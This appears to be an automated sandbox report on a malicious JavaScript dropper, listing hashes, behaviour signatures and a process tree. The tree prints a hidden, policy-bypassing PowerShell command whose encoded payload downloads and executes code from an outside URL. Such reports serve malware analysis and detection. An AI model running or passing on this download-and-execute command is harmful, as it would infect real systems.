0c40462e298ec3b262498d1db189d4e2915bf07c80e40981fc43914a0bc7266a

Analysis

max time kernel
121s
max time network
124s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
15-04-2024 13:08

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General

Target

2021APT-28_86826453.js
Size

100KB
MD5

29a76c5fdb5147c66092d0f4e424ec80
SHA1

ede9d41990fc808a17021f351fc7583720a4e5f1
SHA256

cc006ebbcc9dafa2056bdef21d69836a9b46d9accc6080b93e768a98397e9afa
SHA512

1c6607b0862d28b7d6634cb84b1acaa86dbca32d05bf346594c739ea154ed957d694caf8887cf1a6254048620c9bfdc6d9159f46936b8b4126f11b962c04e5a1
SSDEEP

3072:59Ry98guHVBqqg2bcruzUHmLKeMMU7GwbWBPwVGWl9SZ8kV8Gd5bzIvt/4g5eaXd:59Ry9RuXqW4SzUHmLKeMMU7GwWBPwVGU

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2456	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2456	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2456	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1880 wrote to memory of 2152	1880	wscript.exe	28
PID 1880 wrote to memory of 2152	1880	wscript.exe	28
PID 1880 wrote to memory of 2152	1880	wscript.exe	28
PID 2152 wrote to memory of 2456	2152	cmd.exe	30
PID 2152 wrote to memory of 2456	2152	cmd.exe	30
PID 2152 wrote to memory of 2456	2152	cmd.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_86826453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2456

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2456-12-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2456-11-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2456-10-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2456-9-0x000007FEF5380000-0x000007FEF5D1D000-memory.dmp

Filesize
9.6MB

Download
memory/2456-8-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2456-7-0x000007FEF5380000-0x000007FEF5D1D000-memory.dmp

Filesize
9.6MB

Download
memory/2456-6-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/2456-5-0x000000001B360000-0x000000001B642000-memory.dmp

Filesize
2.9MB

Download
memory/2456-13-0x000007FEF5380000-0x000007FEF5D1D000-memory.dmp

Filesize
9.6MB

Download